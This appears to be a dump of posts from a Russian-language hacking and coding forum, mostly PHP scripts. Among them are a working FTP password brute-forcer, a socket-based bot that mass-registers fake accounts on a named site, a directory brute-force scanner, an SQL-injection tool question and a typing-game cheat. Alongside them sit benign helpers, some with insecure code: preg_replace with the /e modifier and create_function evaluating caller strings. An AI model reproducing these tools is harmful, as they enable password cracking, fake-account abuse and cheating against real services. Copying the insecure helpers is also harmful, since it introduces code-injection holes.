PHP: Авторегер[/b]Постучал MazaFaker и попросил авторегер для одного сайта. Сделал я авторегер через сокеты... Давайте разберём скрипт. [PHP]<?php //config// error_reporting(0); //Что бы не показывало какие нить ошибки set_time_limit(0); // Убераем ограничение на выполнение скрипта, по дефолту 30сек $a = 0; //Для счетчика понадобится переменная $go = $_GET['go']; //Гет парраметр , тоже для счетчика while($a != $go){ //Вот и сам цикл, для создания n кол-ва акков $r1 = rand(100,50000); //создаем любое число от 100 до 50000 $login = "capcha".$r1; // делаем наш логин $pass = "mazafaker"; // делаем наш пасс $mail = "capcha".$r1."%40mail.ru"; // делаем рандомное мыло // %40 это кодированый символ @, в HTTP запросах обязательно писать %40 $fp = fsockopen("www.online-777.ru", 80, $errno, $errstr, 30); //Открываем сокет(Коннектимся к сайту) if (!$fp) { //Если не приконектилось echo "$errstr ($errno)<br />\n"; // выводим причину } else { //иначе $headers1 = "r_login=".$login."&r_pass=".$pass."&r_email=".$mail."&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC"; // Выполняем запрос такого вот вида, но о заголовках по позже $headers = "POST http://www.online-777.ru/reg.php HTTP/1.1\r\n"; $headers .= "Host: www.online-777.ru\r\n"; $headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n"; $headers .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $headers .= "Accept-Language: ru,en-us;q=0.7,en;q=0.3\r\n"; $headers .= "Accept-Encoding: gzip,deflate\r\n"; $headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"; $headers .= "Connection: keep-alive\r\n"; $headers .= "Referer: http://www.online-777.ru/reg.php\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Content-Length: ".strlen($headers1)."\r\n\r\n".$headers1; //вычисляем длину переменной $headers1 fwrite($fp, $headers); //выполняем заголовок в сокете echo $login.":".$pass."<br>"; //выводим наш пасс и логин fclose($fp); //закрываем сокет } $a++; //плюсуем $a } ?> Теперь поговорим про сами заголовки. Как получить заголовок? Я пользуюсь плагином для FireFox , называется liveHttpHeaders качаем тут устанавливаем плагин. Заходим в Инструменты->Дополнения и открываем наш плагин. Заходим на сайт где нужен нам авторегер и регимся сначало вручную,теперь смотрим что появилось в том окошке плагина, а получиться должно что-то типа этого Code: POST /reg.php HTTP/1.1 Host: www.online-777.ru User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.online-777.ru/reg.php Content-Type: application/x-www-form-urlencoded Content-Length: 113 r_login=LoGiN111&r_pass=PaZzZz111&r_email=Mail%40mail.ru&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC Code: r_login=LoGiN111&r_pass=PaZzZz111&r_email=Mail%40mail.ru&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC[ Вот сама строчка пост запроса. r_login=LoGiN111 r_pass=PaZzZz111 r_email=Mail%40mail.ru Нам надо эту строчку приобразовать в PHP: $headers1 = "r_login=".$login."&r_pass=".$pass."&r_email=".$mail."&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC"; А все остальные пстроки мы вписываем в переменную $headers, но в конце каждой строчки добавляем \r\n. Последнюю строчку запроса , тобиш вот эту Code: Content-Length: 113 мы преобразуем в PHP: $headers .= "Content-Length: ".strlen($headers1)."\r\n\r\n".$headers1; Тобиш мы автоматически вычесляем длинну нашего пост запроса и сразу же его выполняем. Ну вроде бы и всё.. Думаю вам ещё не совсем понятно, т.к. это не совсем джля новичков написано, хотя кто его знает. Всегда Ваш Капча))
PHP: ftp Брут[/b]Вдруг понадобился брут фтп сервера. Решил показать вам код и прокомментировать его. [PHP]<?php //@Coder - Capcha //@PHP ftp Brute v.1.0 ;) //Config// $host = $_GET['host']; //Передаём переменной $host IP адресс нашего фтп, через GET запрос $passwords = "pass.txt"; //Файл с паролями $user = $_GET['user']; //Передаём переменной $user логин от сервера //------// //Script// if(isset($host)){ //Если существует переменная $host, т.е. если она не равна NULL, то $pass = file($passwords); //каждую строку файла заганяем в каждую клетку массива переменной $pass foreach($pass as $line){ //переменной $line придаётся значение каждой клетки массива @$conn = ftp_connect($host); if(!@$conn){ //Если не удалось приконнектится, то die("<font color=orange>Connection Error</font>"); //заканчиваем работу скрипта } else { //Иначе, если получилось приконнектиться, то $line = trim($line); //отчищаем переменную $line от пробелов и от \n echo $line." - "; //выводим пароль на екран @$login = ftp_login($conn,$user,$line); if(!@$login){ //Если не удаётся зайти на сервак под этим пассом и логином, то echo "<font color=red>Access Denied</font><br>"; //выводим-с это и @ftp_close($conn);//закрываем соединение } else { //Иначе если удалось залогиниться, то echo "<font color=green>Access Grunted</font><br>";//выводим вот это @ftp_close($conn); //Закрываем соединение } } } } ?> Как использывать скрипт? Собственно и всё, задавайте свои вопросы, если таковые имеются.
[Video php] Регистрация на файлах Самое простое что нужно усвоить новичкам. Продолжительность 5минут Размер 45мб .::Deposit::.
FTP2FTP Напрямую, минуя ваш компьютер. Скрипт необязательно устанавливать туда, куда скачиваешь. На любой сайт с поддержкой php, чтобы было понятно: 1. Сайт, откуда скачиваешь 2. FTP (сайт), куда скачиваешь 3. Сайт, где установлен скрипт ( может не иметь никакого отношения к п.2 и может вообще быть не сайтом ) PHP: <pre> <?php @set_time_limit(0); @ini_set("display_errors","1"); if(isset($submit)) { $file = trim($_POST['d_file']); //Удаленный путь к файлу $remote_file = trim($_POST['r_file']); //Локальный путь к файлу (абсолютный) $ftp_server = trim($_POST['server']); $ftp_user = trim($_POST['login']); $ftp_pass = trim($_POST['pass']); // установить соединение или выйти $conn_id = ftp_connect($ftp_server) or die("Не удалось установить соединение с $ftp_server"); // попытка входа if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) { echo "Произведен вход на $ftp_server под именем $ftp_user\n"; } else { echo "Не удалось войти под именем $ftp_user\n"; } // загрузка файла if (ftp_put($conn_id, $remote_file, $file, FTP_BINARY)) { echo "$file загружен на сервер\n"; } else { echo "Не удалось загрузить $file на сервер\n"; } // close the connection and the file handler ftp_close($conn_id); } ?> <html> <head> <meta http-equiv="Content-Type" content="text; charset=windows-1251"> <title>FTP2FTP</title> </head> <bоdу> <div align="center"> <form method="post"> <table> <tr><td><span>Файл для скачивания(http://.../имя_файла)</span></td><td><input type="text" name="d_file" /></td></tr> <tr><td><span>Путь для скачивания на фтп(абсолютный -/http/1/имя_файла)</span></td><td><input type="text" name="r_file" /></td> <tr><td><span>FTP-сервер:</span></td><td><input type="text" name="server" /></td></tr> <tr><td><span>FTP-login:</span></td><td><input type="text" name="login" /></td></tr> <tr><td><span>FTP-password:</span></td><td><input type="password" name="pass" /></td></tr> </table> <input type="submit" name="submit" value="Start" /> </form> </div> </bоdу> </html> </pre>
Перепробовал много простых инъекций. Всегда определяет количество столбцов равное 6 и дальше работа скрипта загибается. Нашел в запасах скулю с 6 столбцами- работает превосходно. В чем может быть проблема?
Site scaner Простой сканер сайтов, который поможет выявить наличие на сайте той или иной папки или файла, что иногда может быть очень полезно при определенных обстоятельствах. Есть возможность пополнять словарь для брута и файл ошибок, возвращенных браузером, когда папка или файл не найдены. Т.е. настраивается практически на любой сайт. Readme в архиве. Найденные результаты запишет в файл. Скачать
PHP Скрипт , который обрабатывает формы и сохраняет непосредственно в файл Excel. PHP: <html> <head><title> <?php //Code by apg88 "apgForm(toExcel) 1.4" // Determine if the form was sent through the GET methog or the POST method. if($_GET){ $array = $_GET; }else if($_POST){ $array = $_POST; } else { echo "You must Access this file through a form."; // If someone accesses the file directly, it wont work :) } if(!$array['title']){ // if the title wasnt sent through the form, it will become whatever you set it equal to in the next line $array['title'] = "apgForm"; //Set default title to be displayed } echo $array['title'] .'</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body>'; //Check if the filename was sent through the form or not if(!$array['filename']){ // if the filename wasnt sent through the form, it will become form.xls, you can change the default if you want. $array['filename'] = "form.xls"; //Set the file to save the information in } else { if(!(stristr($array['filename'],".xls"))){ $array['filename'] = $array['filename'] . ".xls"; } } // Change this to whatever you want the users to see after the form is processed $continue = ' Here is a the Comment form your info was just sent to <a href="test.xls">Click Here</a> to see the excel file.<br> <a href = "index.php">Click Here</a> To Return to apgForm '; // Change this to the character(s) you want to be placed instead of line breaks(new line, enter, etc) $lbChar = " "; // default is a space, you may change it to whatever you want //------------------------------------------------------------------------------------- //----------------You do not need to change anything below this line------------------- //------------------------------------------------------------------------------------- // Define the tab and carriage return characters: $tab = "\t"; //chr(9); $cr = "\n"; //chr(13); if($array){ // Make The Top row for the excel file and store it in the $header variable $keys = array_keys($array); foreach($keys as $key){ if(strtolower($key) != 'filename' && strtolower($key) != 'title'){ $header .= $key . $tab; } } $header .= $cr; //Make the line with the contents to write to the excel file. foreach($keys as $key){ if(strtolower($key) != 'filename' && strtolower($key) != 'title'){ $array[$key] = str_replace("\n",$lbChar,$array[$key]); $array[$key] = preg_replace('/([\r\n])/e',"ord('$1')==10?'':''",$array[$key]); $array[$key] = str_replace("\\","",$array[$key]); $array[$key] = str_replace($tab, " ", $array[$key]); $data .= $array[$key] . $tab ; } } $data .= $cr; if (file_exists($array['filename'])) { $final_data = $data; //if the file does exist, then only write the information the user sent } else { $final_data = $header . $data; //if file does not exist, write the header(first line in excel with titles) to the file } // open the file and write to it $fp = fopen($array['filename'],"a"); // $fp is now the file pointer to file $array['filename'] if($fp){ fwrite($fp,$final_data); //Write information to the file fclose($fp); // Close the file echo "Form Received Successfully! <br> " . $continue; } else { echo "Error receiving form! <br>" . $continue; } } ?> </body> </html>
Вообщем думаю что написал полный бред,так как писал не совсем в трезвом состоянии) Ещё один класс для работы с мускулем. PHP: <?php /* Есчё один классок для базы данных MySQL * * Скрип писался не совсем в трезвом состоянии) * * [p1r47] aka Shadow_p1raT * * icq:9930875 */ class My_SQL { var $user_name; var $password; var $db_host; var $db_name; var $des; # Дескриптор подключения /* * Конструктор класса * @param string $username - Логин пользователя * @param string $password - Пароль пользрвателя * @param string $dbname - Имя базы * @param string $dbhost - Хост. по дефолту = localhost */ function __construct($username,$password,$dbname,$dbhost = 'localhost') { $this->db_host = $dbhost; $this->db_name = $dbname; $this->user_name = $username; $this->password = $password; } /* * Функция соединения с базой данных * */ function connect() { $this->des = mysql_pconnect($this->db_host,$this->user_name,$this->password); if(!is_resource($this->des)) { die('Невозможно подключиться к базе Данных'); } if(!mysql_select_db($this->db_name,$this->des)) { die('Невозможно выбрать базу данных'); } } /* * Выполняем запрос к базе данных * @param string $query - Строка запроса * @param string $function - Функция обработки данных после вполнения запроса * @return void */ function execute($query,$function = '') { if(!$this->des) { $this->connect(); } $res = mysql_query($query,$this->des); if(!is_resource($res)) { die('Неудалось выполнить запрос к базе данных'); } if(!$function == '') { if($func = call_user_func(create_function('$res','return '. $function),$res)) { return $func; } } return($res); } } Пример использывания PHP: <?php $db = new My_SQL('root','','roa'); $db->connect(); print_r($db->execute('SELECT * FROM `users`','mysql_fetch_array($res);')); ?> ЗЫ если такое уже есть или я ваще сумашедший - delete post ЗЫЫ Ой,cлучайно спалил секретную таблицу РОА
Shadow_p1raT, по-твоему это класс? Так "классок" обёртка для двух методов... И нафига ты используешь постоянный коннекты? Почему не предусмотреть возможность переключения режима? Почему не сделать методы чтобы возвращать всё в массиве? Почему не сделать методы экранирования строк?
Скрипт узнает текст который будет в игре по id: (клавагонки) Code: using System; using System.Collections.Generic; using System.Text; using System.Text.RegularExpressions; using System.Net; using System.IO; namespace TestConsole { class Program { public static StreamWriter fstr_out; static void Main(string[] args) { while (true) { Console.WriteLine("Создатель этой программы - procedure"); Console.WriteLine("Please enter game id: "); string id = Console.ReadLine(); Worker work = new Worker(id); } } } public class Worker { public Worker(string id) { HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create("http://klavogonki.ru" + "/play/" + id + ".info"); //This string for delete if release req.Proxy = new WebProxy("127.0.0.1", 8888); req.UserAgent = @"Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2;"; req.Accept = @"text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1"; req.Headers.Add("Accept-Language", "ru"); req.ContentType = "application/x-www-form-urlencoded"; req.Method = "POST"; req.Referer = "http://klavogonki.ru/go?type=normal"; req.AllowAutoRedirect = false; //Cookie req.CookieContainer = new CookieContainer(); //Create Response HttpWebResponse resp = (HttpWebResponse)req.GetResponse(); StreamReader stream = new StreamReader(resp.GetResponseStream(), Encoding.GetEncoding(1251)); string str = stream.ReadToEnd(); Match m = Regex.Match(str, @"text\S{3}.+\S{3}length"); string str1 = String.Empty; while (m.Success) { str1 += m.Value; m = m.NextMatch(); } char[] ch = str1.ToCharArray(); string result = String.Empty; for (int i = 0; i < ch.Length; i++) { if (i < 26 || i > (ch.Length - 10)) continue; result += ch[i].ToString(); } Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Text: " + ParseResult(result)); Console.ForegroundColor = ConsoleColor.White; } private string ParseResult(string sub) { char[] ch = sub.ToCharArray(); char separate = '\\'; List<int> ignore = new List<int>(); string subb = String.Empty; for (int i = 0; i < ch.Length; i++) { if (i == (ch.Length - 1)) { subb += ch[i].ToString(); continue; } if (ch[i] == separate) { int f = i; for (int n = 0; n < 6; n++) { ignore.Add(f++); } f = f - 3; string res = String.Empty; for (int k = 0; k < 3; k++) { res += ch[f++].ToString(); } subb += Convert.ToChar(int.Parse(res, System.Globalization.NumberStyles.AllowHexSpecifier)).ToString(); } else { bool status = true; foreach (int item in ignore) { if (item == i) { status = false; } } if (status) { subb += ch[i].ToString(); } } } return subb; } } }
PHP: <?php set_time_limit(0); //фyнкция для socks4, пocлe кoтopoй paбoтa вeдeтcя aнaлoгичнo fsockopen() //в cлyчae нeyдaчи вoзвpaщaeт false, кoд oшибки($errno), oпиcaниe oшибки($errstr) function socks4_open($socks4_h, $socks4_p, $host, $port, &$errno, &$errstr, $timeout=30) { if (!($connect = fsockopen($socks4_h, $socks4_p, $errno, $errstr, $timeout))) return false; $q = pack('C2', 0x04, 0x01); $q .= pack('n', $port); if (preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/", gethostbyname($host), $arr)) $q .= pack('C4', $arr[1], $arr[2], $arr[3], $arr[4]); $q .= 0; $q .= pack('C', 0); if (!fputs($connect, $q)) return false; if (!($otv = fgets($connect, 9))) return false; $otv = unpack('Cvn/Ccd', substr($otv, 0, 2)); if (0 != $otv['vn']) return false; if (90 == $otv['cd']) return $connect; else return false; } //пpимep зaпpoca $q = "GET / HTTP/1.0\r\nHost: mail.ru\r\n\r\n"; //пpимep paбoты socks4_open() $connect = socks4_open("216.114.194.19", 1080, 'mail.ru', 80, $errno, $errstr, 30); if (!$connect) { echo "$errstr ($errno)<br>\n"; } else { fputs($connect, $q); while (!feof($connect)) { $answer .= fgets($connect, 1024); } fclose($connect); } echo $answer; ?>
Аналоги функции mysql: INET_ATON, INET_NTOA. на php, может кому пригодится:. PHP: <? function inet_aton($ip){ $ip = ip2long($ip); ($ip < 0) ? $ip+=4294967296 : true; return $ip; } function inet_ntoa($int){ // long2ip принимает на вход также беззнаковые // INT, т.е. полностью идентичен inet_ntoa return long2ip($int); } //пример работы $ip=array(); $ip[]='255.255.255.255'; $ip[]='0.0.0.1'; $ip[]='0.0.0.0'; $ip[]='127.0.0.1'; $ip[]='251.56.5.210'; $ip[]='255.56.5.210'; $ip[]='10.0.0.1'; $ip[]='192.168.0.1'; $ip[]='191.168.0.1'; $ip[]='193.168.0.1'; foreach ($ip as $v){ echo $v." -> ".inet_aton($v)." | ".inet_aton($v)." -> ".inet_ntoa(inet_aton($v))."<br>\n\r"; } ?>
Вот мой Torrents.ru брут на перле: З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю)) У меня неробит ,пробовал на своём акке и он говорид мол мой пароль бад и нечего в good.txt непишет .
2 #Wolf#,heretic1990: Эт он типа мой пост цитировал так 2 waik: я только что все проверил,скрипт пашет и норм записывает в good.txt сбрученные акки,так что я незнаю чё оно у тебя невыходит...
Умножение вектора на матрицу Умножение вектора на матрицу, код + пример PHP: <?php $vector = array (); $matrix = array (); $vector = array (1, 2, 3); $matrix[0][0] = 1; $matrix[0][1] = 0; $matrix[0][2] = 0; $matrix[1][0] = 0; $matrix[1][1] = 1; $matrix[1][2] = 0; $matrix[2][0] = 1 / 2; $matrix[2][1] = 0; $matrix[2][2] = 1 / 2; function multmatrix($v, $m) { $output = array (); if (!is_array ($v) || !is_array ($m)) { return false; } if (count ($m) != count ($v)) { return false; } for ( $i = 0; $i < count ($m); $i++) { $cnt = 0; for ( $j = 0; $j < count ($m[$i]); $j++) { $cnt++; } if ($cnt != count ($v)) { return false; } } for ( $i = 0; $i < count ($m); $i++) { $temp = 0; for ( $j = 0; $j < count ($m[$i]); $j++) { $temp += ($v[$j] * $m[$j][$i]); } $output[] = $temp; } return $output; } print_r (multmatrix($vector, $matrix)); ?>